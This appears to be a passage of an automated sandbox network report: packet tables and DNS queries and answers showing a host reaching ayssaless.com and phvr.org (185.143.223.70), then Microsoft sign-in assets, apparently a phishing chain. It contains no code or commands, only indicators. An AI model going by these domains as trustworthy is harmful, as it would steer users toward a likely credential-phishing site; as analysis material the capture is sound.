Jul 3, 2024 23:50:52.362785101 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.362842083 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.363516092 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.363532066 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.363603115 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.363603115 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.363607883 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.363693953 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.376586914 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.376610041 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.376724958 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.376734018 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.376802921 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.450505972 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.450535059 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.450653076 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.450660944 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.450700045 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.450717926 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.451209068 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.451234102 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.451268911 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.451275110 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.451324940 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.451324940 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.452387094 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.452406883 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.452467918 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.452472925 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.452510118 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.452522993 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.453428984 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.453447104 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.453540087 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.453540087 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.453545094 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.453588963 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.453911066 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.453928947 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.454000950 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.454005957 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.454050064 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.454056025 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.454060078 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.454082966 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.454127073 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.454127073 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.454132080 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.454214096 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.471560001 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.471596956 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.471652985 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.471661091 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.471695900 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.471709967 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.472018003 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.472044945 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.472078085 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.472081900 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.472115040 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.472172022 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.542263985 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.542288065 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.542403936 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.542412996 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.542526960 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.542957067 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.542972088 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.543034077 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.543037891 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.543051004 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.543378115 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.543399096 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.543411016 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.543415070 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.543467045 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.543504953 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.544132948 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.544150114 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.544220924 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.544225931 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.544281006 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.544332027 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.544409037 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.544414043 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.544502020 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.544684887 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.544698000 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:51:05.209042072 CEST	49825	443	192.168.2.4	172.217.16.132
Jul 3, 2024 23:51:05.209085941 CEST	443	49825	172.217.16.132	192.168.2.4
Jul 3, 2024 23:51:05.209224939 CEST	49825	443	192.168.2.4	172.217.16.132
Jul 3, 2024 23:51:05.209646940 CEST	49825	443	192.168.2.4	172.217.16.132
Jul 3, 2024 23:51:05.209662914 CEST	443	49825	172.217.16.132	192.168.2.4
Jul 3, 2024 23:51:05.886632919 CEST	443	49825	172.217.16.132	192.168.2.4
Jul 3, 2024 23:51:05.887391090 CEST	49825	443	192.168.2.4	172.217.16.132
Jul 3, 2024 23:51:05.887408972 CEST	443	49825	172.217.16.132	192.168.2.4
Jul 3, 2024 23:51:05.887753963 CEST	443	49825	172.217.16.132	192.168.2.4
Jul 3, 2024 23:51:05.888772011 CEST	49825	443	192.168.2.4	172.217.16.132
Jul 3, 2024 23:51:05.888837099 CEST	443	49825	172.217.16.132	192.168.2.4
Jul 3, 2024 23:51:05.942424059 CEST	49825	443	192.168.2.4	172.217.16.132
Jul 3, 2024 23:51:15.780500889 CEST	443	49825	172.217.16.132	192.168.2.4
Jul 3, 2024 23:51:15.780554056 CEST	443	49825	172.217.16.132	192.168.2.4
Jul 3, 2024 23:51:15.780734062 CEST	49825	443	192.168.2.4	172.217.16.132
Jul 3, 2024 23:51:16.045896053 CEST	49825	443	192.168.2.4	172.217.16.132
Jul 3, 2024 23:51:16.045919895 CEST	443	49825	172.217.16.132	192.168.2.4
Jul 3, 2024 23:51:20.223346949 CEST	49766	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:51:20.223359108 CEST	443	49766	185.143.223.70	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 3, 2024 23:50:00.673302889 CEST	53	56176	1.1.1.1	192.168.2.4
Jul 3, 2024 23:50:00.822778940 CEST	53	57616	1.1.1.1	192.168.2.4
Jul 3, 2024 23:50:01.842190027 CEST	53	60918	1.1.1.1	192.168.2.4
Jul 3, 2024 23:50:02.217408895 CEST	54771	53	192.168.2.4	1.1.1.1
Jul 3, 2024 23:50:02.217565060 CEST	61626	53	192.168.2.4	1.1.1.1
Jul 3, 2024 23:50:02.254053116 CEST	53	54771	1.1.1.1	192.168.2.4
Jul 3, 2024 23:50:02.254097939 CEST	53	61626	1.1.1.1	192.168.2.4
Jul 3, 2024 23:50:04.115473986 CEST	49802	53	192.168.2.4	1.1.1.1
Jul 3, 2024 23:50:04.122853994 CEST	56943	53	192.168.2.4	1.1.1.1
Jul 3, 2024 23:50:04.123855114 CEST	53	49802	1.1.1.1	192.168.2.4
Jul 3, 2024 23:50:04.130661011 CEST	53	56943	1.1.1.1	192.168.2.4
Jul 3, 2024 23:50:05.148597002 CEST	60781	53	192.168.2.4	1.1.1.1
Jul 3, 2024 23:50:05.149426937 CEST	54578	53	192.168.2.4	1.1.1.1
Jul 3, 2024 23:50:05.155570984 CEST	53	60781	1.1.1.1	192.168.2.4
Jul 3, 2024 23:50:05.156584024 CEST	53	54578	1.1.1.1	192.168.2.4
Jul 3, 2024 23:50:05.966382027 CEST	60311	53	192.168.2.4	1.1.1.1
Jul 3, 2024 23:50:05.966972113 CEST	53830	53	192.168.2.4	1.1.1.1
Jul 3, 2024 23:50:05.973294973 CEST	53	60311	1.1.1.1	192.168.2.4
Jul 3, 2024 23:50:05.973726034 CEST	53	53830	1.1.1.1	192.168.2.4
Jul 3, 2024 23:50:07.608309031 CEST	58590	53	192.168.2.4	1.1.1.1
Jul 3, 2024 23:50:07.608309031 CEST	50474	53	192.168.2.4	1.1.1.1
Jul 3, 2024 23:50:07.618372917 CEST	53	50474	1.1.1.1	192.168.2.4
Jul 3, 2024 23:50:07.618550062 CEST	53	58590	1.1.1.1	192.168.2.4
Jul 3, 2024 23:50:19.184823036 CEST	53	52646	1.1.1.1	192.168.2.4
Jul 3, 2024 23:50:19.871691942 CEST	138	138	192.168.2.4	192.168.2.255
Jul 3, 2024 23:50:35.576395988 CEST	57770	53	192.168.2.4	1.1.1.1
Jul 3, 2024 23:50:35.576736927 CEST	56709	53	192.168.2.4	1.1.1.1
Jul 3, 2024 23:50:35.595115900 CEST	53	56709	1.1.1.1	192.168.2.4
Jul 3, 2024 23:50:35.601841927 CEST	53	57770	1.1.1.1	192.168.2.4
Jul 3, 2024 23:50:38.074875116 CEST	53	52166	1.1.1.1	192.168.2.4
Jul 3, 2024 23:50:41.025573015 CEST	50613	53	192.168.2.4	1.1.1.1
Jul 3, 2024 23:50:41.033257008 CEST	53	50613	1.1.1.1	192.168.2.4
Jul 3, 2024 23:50:41.034181118 CEST	55128	53	192.168.2.4	1.1.1.1
Jul 3, 2024 23:50:41.042422056 CEST	53	55128	1.1.1.1	192.168.2.4
Jul 3, 2024 23:50:42.431010008 CEST	59208	53	192.168.2.4	1.1.1.1
Jul 3, 2024 23:50:42.431165934 CEST	56047	53	192.168.2.4	1.1.1.1
Jul 3, 2024 23:50:42.438152075 CEST	53	59208	1.1.1.1	192.168.2.4
Jul 3, 2024 23:50:42.438369036 CEST	53	56047	1.1.1.1	192.168.2.4
Jul 3, 2024 23:50:43.386749029 CEST	53	51781	1.1.1.1	192.168.2.4
Jul 3, 2024 23:50:43.857151985 CEST	55759	53	192.168.2.4	1.1.1.1
Jul 3, 2024 23:50:43.857420921 CEST	49921	53	192.168.2.4	1.1.1.1
Jul 3, 2024 23:50:44.012742996 CEST	64638	53	192.168.2.4	1.1.1.1
Jul 3, 2024 23:50:44.013159037 CEST	56338	53	192.168.2.4	1.1.1.1
Jul 3, 2024 23:50:44.030210972 CEST	53	56338	1.1.1.1	192.168.2.4
Jul 3, 2024 23:50:44.147015095 CEST	53	64638	1.1.1.1	192.168.2.4
Jul 3, 2024 23:50:52.335793018 CEST	56367	53	192.168.2.4	1.1.1.1
Jul 3, 2024 23:50:52.336139917 CEST	60096	53	192.168.2.4	1.1.1.1
Jul 3, 2024 23:50:52.338627100 CEST	63983	53	192.168.2.4	1.1.1.1
Jul 3, 2024 23:50:52.339184046 CEST	63924	53	192.168.2.4	1.1.1.1
Jul 3, 2024 23:50:52.340022087 CEST	60204	53	192.168.2.4	1.1.1.1
Jul 3, 2024 23:50:52.340322971 CEST	58730	53	192.168.2.4	1.1.1.1
Jul 3, 2024 23:50:55.376996994 CEST	59172	53	192.168.2.4	1.1.1.1
Jul 3, 2024 23:50:55.377960920 CEST	63460	53	192.168.2.4	1.1.1.1
Jul 3, 2024 23:50:55.405791044 CEST	53	58657	1.1.1.1	192.168.2.4
Jul 3, 2024 23:50:55.406033039 CEST	53	53442	1.1.1.1	192.168.2.4
Jul 3, 2024 23:50:55.428582907 CEST	53	58052	1.1.1.1	192.168.2.4
Jul 3, 2024 23:50:55.642195940 CEST	51531	53	192.168.2.4	1.1.1.1
Jul 3, 2024 23:50:55.642493963 CEST	52484	53	192.168.2.4	1.1.1.1
Jul 3, 2024 23:51:00.390925884 CEST	53	53708	1.1.1.1	192.168.2.4
Jul 3, 2024 23:51:00.981813908 CEST	53	62234	1.1.1.1	192.168.2.4
Jul 3, 2024 23:51:12.093096972 CEST	60157	53	192.168.2.4	1.1.1.1
Jul 3, 2024 23:51:12.093275070 CEST	56849	53	192.168.2.4	1.1.1.1
Jul 3, 2024 23:51:12.093894005 CEST	58420	53	192.168.2.4	1.1.1.1
Jul 3, 2024 23:51:12.094012022 CEST	63741	53	192.168.2.4	1.1.1.1
Jul 3, 2024 23:51:12.094502926 CEST	57029	53	192.168.2.4	1.1.1.1
Jul 3, 2024 23:51:12.094744921 CEST	60677	53	192.168.2.4	1.1.1.1
Jul 3, 2024 23:51:13.493681908 CEST	53	50577	1.1.1.1	192.168.2.4
Jul 3, 2024 23:51:13.628756046 CEST	54996	53	192.168.2.4	1.1.1.1
Jul 3, 2024 23:51:13.629261017 CEST	49763	53	192.168.2.4	1.1.1.1

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jul 3, 2024 23:50:52.495897055 CEST	192.168.2.4	1.1.1.1	c2a1	(Port unreachable)	Destination Unreachable
Jul 3, 2024 23:51:12.118063927 CEST	192.168.2.4	1.1.1.1	c2a1	(Port unreachable)	Destination Unreachable
Jul 3, 2024 23:51:13.725562096 CEST	192.168.2.4	1.1.1.1	c274	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 3, 2024 23:50:02.217408895 CEST	192.168.2.4	1.1.1.1	0xf8c0	Standard query (0)	ayssaless.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 23:50:02.217565060 CEST	192.168.2.4	1.1.1.1	0x707f	Standard query (0)	ayssaless.com	65	IN (0x0001)	false
Jul 3, 2024 23:50:04.115473986 CEST	192.168.2.4	1.1.1.1	0x5b14	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 23:50:04.122853994 CEST	192.168.2.4	1.1.1.1	0xb3f5	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jul 3, 2024 23:50:05.148597002 CEST	192.168.2.4	1.1.1.1	0xee2c	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 23:50:05.149426937 CEST	192.168.2.4	1.1.1.1	0x4d1c	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jul 3, 2024 23:50:05.966382027 CEST	192.168.2.4	1.1.1.1	0x5b01	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 23:50:05.966972113 CEST	192.168.2.4	1.1.1.1	0x8495	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jul 3, 2024 23:50:07.608309031 CEST	192.168.2.4	1.1.1.1	0xcfa	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 23:50:07.608309031 CEST	192.168.2.4	1.1.1.1	0x180d	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jul 3, 2024 23:50:35.576395988 CEST	192.168.2.4	1.1.1.1	0xc210	Standard query (0)	phvr.org	A (IP address)	IN (0x0001)	false
Jul 3, 2024 23:50:35.576736927 CEST	192.168.2.4	1.1.1.1	0x1b75	Standard query (0)	phvr.org	65	IN (0x0001)	false
Jul 3, 2024 23:50:41.025573015 CEST	192.168.2.4	1.1.1.1	0x2998	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Jul 3, 2024 23:50:41.034181118 CEST	192.168.2.4	1.1.1.1	0x152d	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Jul 3, 2024 23:50:42.431010008 CEST	192.168.2.4	1.1.1.1	0x2f3d	Standard query (0)	outlook.office365.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 23:50:42.431165934 CEST	192.168.2.4	1.1.1.1	0x68c8	Standard query (0)	outlook.office365.com	65	IN (0x0001)	false
Jul 3, 2024 23:50:43.857151985 CEST	192.168.2.4	1.1.1.1	0x276c	Standard query (0)	r4.res.office365.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 23:50:43.857420921 CEST	192.168.2.4	1.1.1.1	0xd22b	Standard query (0)	r4.res.office365.com	65	IN (0x0001)	false
Jul 3, 2024 23:50:44.012742996 CEST	192.168.2.4	1.1.1.1	0xdbf5	Standard query (0)	phvr.org	A (IP address)	IN (0x0001)	false
Jul 3, 2024 23:50:44.013159037 CEST	192.168.2.4	1.1.1.1	0x53a9	Standard query (0)	phvr.org	65	IN (0x0001)	false
Jul 3, 2024 23:50:52.335793018 CEST	192.168.2.4	1.1.1.1	0xf882	Standard query (0)	ajax.aspnetcdn.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 23:50:52.336139917 CEST	192.168.2.4	1.1.1.1	0xdc6	Standard query (0)	ajax.aspnetcdn.com	65	IN (0x0001)	false
Jul 3, 2024 23:50:52.338627100 CEST	192.168.2.4	1.1.1.1	0xe41d	Standard query (0)	c.s-microsoft.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 23:50:52.339184046 CEST	192.168.2.4	1.1.1.1	0x55c5	Standard query (0)	c.s-microsoft.com	65	IN (0x0001)	false
Jul 3, 2024 23:50:52.340022087 CEST	192.168.2.4	1.1.1.1	0x2712	Standard query (0)	assets.onestore.ms	A (IP address)	IN (0x0001)	false
Jul 3, 2024 23:50:52.340322971 CEST	192.168.2.4	1.1.1.1	0x790b	Standard query (0)	assets.onestore.ms	65	IN (0x0001)	false
Jul 3, 2024 23:50:55.376996994 CEST	192.168.2.4	1.1.1.1	0x4ade	Standard query (0)	i.s-microsoft.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 23:50:55.377960920 CEST	192.168.2.4	1.1.1.1	0xfc7a	Standard query (0)	i.s-microsoft.com	65	IN (0x0001)	false
Jul 3, 2024 23:50:55.642195940 CEST	192.168.2.4	1.1.1.1	0xc47f	Standard query (0)	c.s-microsoft.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 23:50:55.642493963 CEST	192.168.2.4	1.1.1.1	0xf2c	Standard query (0)	c.s-microsoft.com	65	IN (0x0001)	false
Jul 3, 2024 23:51:12.093096972 CEST	192.168.2.4	1.1.1.1	0xd274	Standard query (0)	ajax.aspnetcdn.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 23:51:12.093275070 CEST	192.168.2.4	1.1.1.1	0x2130	Standard query (0)	ajax.aspnetcdn.com	65	IN (0x0001)	false
Jul 3, 2024 23:51:12.093894005 CEST	192.168.2.4	1.1.1.1	0x258f	Standard query (0)	c.s-microsoft.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 23:51:12.094012022 CEST	192.168.2.4	1.1.1.1	0xeb3b	Standard query (0)	c.s-microsoft.com	65	IN (0x0001)	false
Jul 3, 2024 23:51:12.094502926 CEST	192.168.2.4	1.1.1.1	0xc133	Standard query (0)	assets.onestore.ms	A (IP address)	IN (0x0001)	false
Jul 3, 2024 23:51:12.094744921 CEST	192.168.2.4	1.1.1.1	0x6017	Standard query (0)	assets.onestore.ms	65	IN (0x0001)	false
Jul 3, 2024 23:51:13.628756046 CEST	192.168.2.4	1.1.1.1	0x76cf	Standard query (0)	i.s-microsoft.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 23:51:13.629261017 CEST	192.168.2.4	1.1.1.1	0xae4c	Standard query (0)	i.s-microsoft.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 3, 2024 23:50:02.254053116 CEST	1.1.1.1	192.168.2.4	0xf8c0	No error (0)	ayssaless.com		185.143.223.70	A (IP address)	IN (0x0001)	false
Jul 3, 2024 23:50:04.123855114 CEST	1.1.1.1	192.168.2.4	0x5b14	No error (0)	challenges.cloudflare.com		104.17.2.184	A (IP address)	IN (0x0001)	false
Jul 3, 2024 23:50:04.123855114 CEST	1.1.1.1	192.168.2.4	0x5b14	No error (0)	challenges.cloudflare.com		104.17.3.184	A (IP address)	IN (0x0001)	false
Jul 3, 2024 23:50:04.130661011 CEST	1.1.1.1	192.168.2.4	0xb3f5	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jul 3, 2024 23:50:05.155570984 CEST	1.1.1.1	192.168.2.4	0xee2c	No error (0)	www.google.com		172.217.16.132	A (IP address)	IN (0x0001)	false
Jul 3, 2024 23:50:05.156584024 CEST	1.1.1.1	192.168.2.4	0x4d1c	No error (0)	www.google.com			65	IN (0x0001)	false
Jul 3, 2024 23:50:05.973294973 CEST	1.1.1.1	192.168.2.4	0x5b01	No error (0)	challenges.cloudflare.com		104.17.2.184	A (IP address)	IN (0x0001)	false
Jul 3, 2024 23:50:05.973294973 CEST	1.1.1.1	192.168.2.4	0x5b01	No error (0)	challenges.cloudflare.com		104.17.3.184	A (IP address)	IN (0x0001)	false
Jul 3, 2024 23:50:05.973726034 CEST	1.1.1.1	192.168.2.4	0x8495	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jul 3, 2024 23:50:07.618372917 CEST	1.1.1.1	192.168.2.4	0x180d	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jul 3, 2024 23:50:07.618550062 CEST	1.1.1.1	192.168.2.4	0xcfa	No error (0)	challenges.cloudflare.com		104.17.2.184	A (IP address)	IN (0x0001)	false
Jul 3, 2024 23:50:07.618550062 CEST	1.1.1.1	192.168.2.4	0xcfa	No error (0)	challenges.cloudflare.com		104.17.3.184	A (IP address)	IN (0x0001)	false
Jul 3, 2024 23:50:16.347162008 CEST	1.1.1.1	192.168.2.4	0xaadc	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jul 3, 2024 23:50:16.347162008 CEST	1.1.1.1	192.168.2.4	0xaadc	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jul 3, 2024 23:50:17.834633112 CEST	1.1.1.1	192.168.2.4	0xfbf2	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 23:50:17.834633112 CEST	1.1.1.1	192.168.2.4	0xfbf2	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Jul 3, 2024 23:50:30.217341900 CEST	1.1.1.1	192.168.2.4	0xbfc3	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 23:50:30.217341900 CEST	1.1.1.1	192.168.2.4	0xbfc3	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Jul 3, 2024 23:50:35.601841927 CEST	1.1.1.1	192.168.2.4	0xc210	No error (0)	phvr.org		185.143.223.70	A (IP address)	IN (0x0001)	false
Jul 3, 2024 23:50:41.031514883 CEST	1.1.1.1	192.168.2.4	0xdb01	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 23:50:41.031514883 CEST	1.1.1.1	192.168.2.4	0xdb01	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Jul 3, 2024 23:50:41.033257008 CEST	1.1.1.1	192.168.2.4	0x2998	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 23:50:41.033257008 CEST	1.1.1.1	192.168.2.4	0x2998	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 23:50:41.033257008 CEST	1.1.1.1	192.168.2.4	0x2998	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jul 3, 2024 23:50:41.042422056 CEST	1.1.1.1	192.168.2.4	0x152d	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 23:50:41.042422056 CEST	1.1.1.1	192.168.2.4	0x152d	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 23:50:42.438152075 CEST	1.1.1.1	192.168.2.4	0x2f3d	No error (0)	outlook.office365.com	ooc-g2.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 23:50:42.438152075 CEST	1.1.1.1	192.168.2.4	0x2f3d	No error (0)	ooc-g2.tm-4.office.com	outlook.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 23:50:42.438152075 CEST	1.1.1.1	192.168.2.4	0x2f3d	No error (0)	outlook.ms-acdc.office.com	HHN-efz.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 23:50:42.438152075 CEST	1.1.1.1	192.168.2.4	0x2f3d	No error (0)	HHN-efz.ms-acdc.office.com		52.98.228.50	A (IP address)	IN (0x0001)	false
Jul 3, 2024 23:50:42.438152075 CEST	1.1.1.1	192.168.2.4	0x2f3d	No error (0)	HHN-efz.ms-acdc.office.com		40.99.150.2	A (IP address)	IN (0x0001)	false
Jul 3, 2024 23:50:42.438152075 CEST	1.1.1.1	192.168.2.4	0x2f3d	No error (0)	HHN-efz.ms-acdc.office.com		52.98.241.194	A (IP address)	IN (0x0001)	false
Jul 3, 2024 23:50:42.438152075 CEST	1.1.1.1	192.168.2.4	0x2f3d	No error (0)	HHN-efz.ms-acdc.office.com		52.97.135.98	A (IP address)	IN (0x0001)	false
Jul 3, 2024 23:50:42.438369036 CEST	1.1.1.1	192.168.2.4	0x68c8	No error (0)	outlook.office365.com	ooc-g2.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 23:50:42.438369036 CEST	1.1.1.1	192.168.2.4	0x68c8	No error (0)	ooc-g2.tm-4.office.com	outlook.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 23:50:42.438369036 CEST	1.1.1.1	192.168.2.4	0x68c8	No error (0)	outlook.ms-acdc.office.com	HHN-efz.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 23:50:43.873059034 CEST	1.1.1.1	192.168.2.4	0x276c	No error (0)	r4.res.office365.com	r4.res.office365.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
